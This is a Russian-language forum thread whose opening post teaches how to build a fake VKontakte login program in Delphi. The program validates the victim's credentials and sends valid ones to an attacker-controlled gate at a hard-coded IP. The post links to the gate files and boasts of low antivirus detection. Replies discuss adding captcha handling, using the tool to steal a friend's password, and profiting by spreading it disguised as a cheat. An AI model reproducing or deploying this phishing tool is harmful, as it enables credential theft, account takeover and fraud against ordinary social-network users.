Привет Ачат! В последнее время заглядывая в торговый раздел форума, частенько вижу что люди продают програмыне фейки, причем пои немалой цене - от 100 руб. Сегодня мы попробуем изготовить программный фейк своими руками "в домашних условиях". Что нам понадобится: Итак, начнем. Для начала разберем ,что будет делать наш фейк: 1) юзер вводит логин и пароль 2) логин и пароль проверяется на валидность. 3) если логин и пароль валидны, то отправляем их нам, иначе сообщаем юзеру что он ввел неправильные данные. Тут все понятно, но вот куда-же программа будет отсылать валидные логин и пароль? Тут наиболее популярны 2 варианта: отправка на гейт, и отправка на email. Наиболее эфективная и проста отправка на гейт. Теперь подробно поговорим про сам гейт. Скачать файлы для гейта можно тут http://www.sendspace.com/file/w9y9x2 инструкция по установке гейта: скачиваем и распаковываем архив. Заливаем файлы на хост и для файла base.php ставим права 777. Написание программы. ну что-же, заходим в дельфи и создаем новый проект. Теперь нам нужно оформить фейк. Оформляется он элементарно - с использованием TLabel, TEdit, TImage (ну можно конечно и ползунки, и чекбоксы для красоты) Теперь нужно написать обработчик для Кнопки "Вход". Название оно у меня носит - Button1 вот он: Code: procedure TForm1.Button1Click(Sender: TObject); begin // Создание объектом для авторизации вконтакте - проверки логина и пароля http:=TidHttp.Create(nil); cookie:=TidCookieManager.create; http.CookieManager:=cookie; http.ReadTimeout:=10000; param:=TstringList.Create; // Пошла авторизация param.add('email='+login.text); //login - edit для ввода логина param.add('pass='+pass.text); // pass - edit для ввода пароля param.add('vk='); param.add('expire=0'); try res:=http.post('http://login.vk.com/?act=login',param); except end; s:=copy(res,pos('value', res)+7,56); param.Clear; param.add('s='+s); param.add('op=slogin'); param.add('redirect=0'); param.add('expire=0'); param.add('to='); try res:=http.post('http://vkontakte.ru/login.php',param); except end; param.clear; // Если авторизация прошла удачно, то... if pos('id', http.Response.Location)>0 then begin // Отправляем данные на гейт param.add('login='+login.text); param.add('passwd='+pass.text); try http.post('http://173.224.114.85/log.php', param); // Вместо 173.224.114.85 вводим сайт на котором залит скрипт принятия акков except end; end else ShowMessage('Вы ввели неверные данные, повторите попытку!'); end; вот и весь код. Изменяем название формы, иконку формы, и компилируем. Все) данный код не определяется антивирусами как вирус(проверено на virustotal - 1\40) Это первая статья, надеюсь новичкам будет интересно. Ваш, MrAkimov
мдааа. И таких "плодунов" с этими фэйками тут уже все стопицот, если не польше. Сколько можно? о_О лучше бы рассказал, как такой интерфейс намутил)) хорошо, что хоть с отправкой на гейт, а не не с эл.почту.
может быть лучше добавить модуль с капчей? нежели обсирать труды человека. загуглил по этому вопросу, сейчас на вконте после 5 -ой попытки выскакиевает капча.. выскакиевает не просто так а без перезагзуки в гл. окне(соот-но ajax юзается), и капча там заливается с http://vkontakte.ru/captcha.php?s=1&sid=188810642504, если же как то парсить такую ссылку в прогу.... мы будем видеть что жэ за капча просится и вводить. зы если что то неправильно говорю, поправьте
так получилось) При логине на контакт отправляется запрос, op=a_login_atempt в ответе будет либо айди каптчи либо vklogin либо ещё один из вариантов ответа. если ответ vklogin то форма отправляется если ответ айди каптчи то показывается каптча. Всё просто.
насчет капчи: на моем опыте я убедился, что по такой методике авторизации, капча выскакивает крайне редко. и то при невалидном логине\пароле. то есть если человек введет неверный логин - пароль и вылезет капча .фейк все равно покажет акк как невалид. модуль капчи я могу добавить, если кому-то интересно насчет бояна. Такие фейки - не способ зарабатывать акки сотнями или тысячами - они хороши для СИ или просто чтобы узнать пароль друга\подруги.
MrAkimov, добавь модуль с капчей, плиз... Давно собрался заняться изучением Delphi вплотную... Вот после прочтения этого топа решил... Буду грызть учебник...
может быть расскажешь как грабить тысячами? Вообще с таким фейком касарика два за несколько месяцев реал собрать) главное красиво распространить еще и видио сделать где нить мол я читер нашел дырку вконтакте вот сделал прогу выкладываю на халяву)
капча выскакивает при невалидной паре, но и выскакивает если он до этого все - таки успешно не авторизовался. думаю модуль капчи так и так нужен, ибо всякие люди бывают, а надеятся на их способности не стоит. иначе палево... с меня будет + Или выкладывай настройки, или скин, давай коись как делал? или просто скрин вбабахал откуда - то?
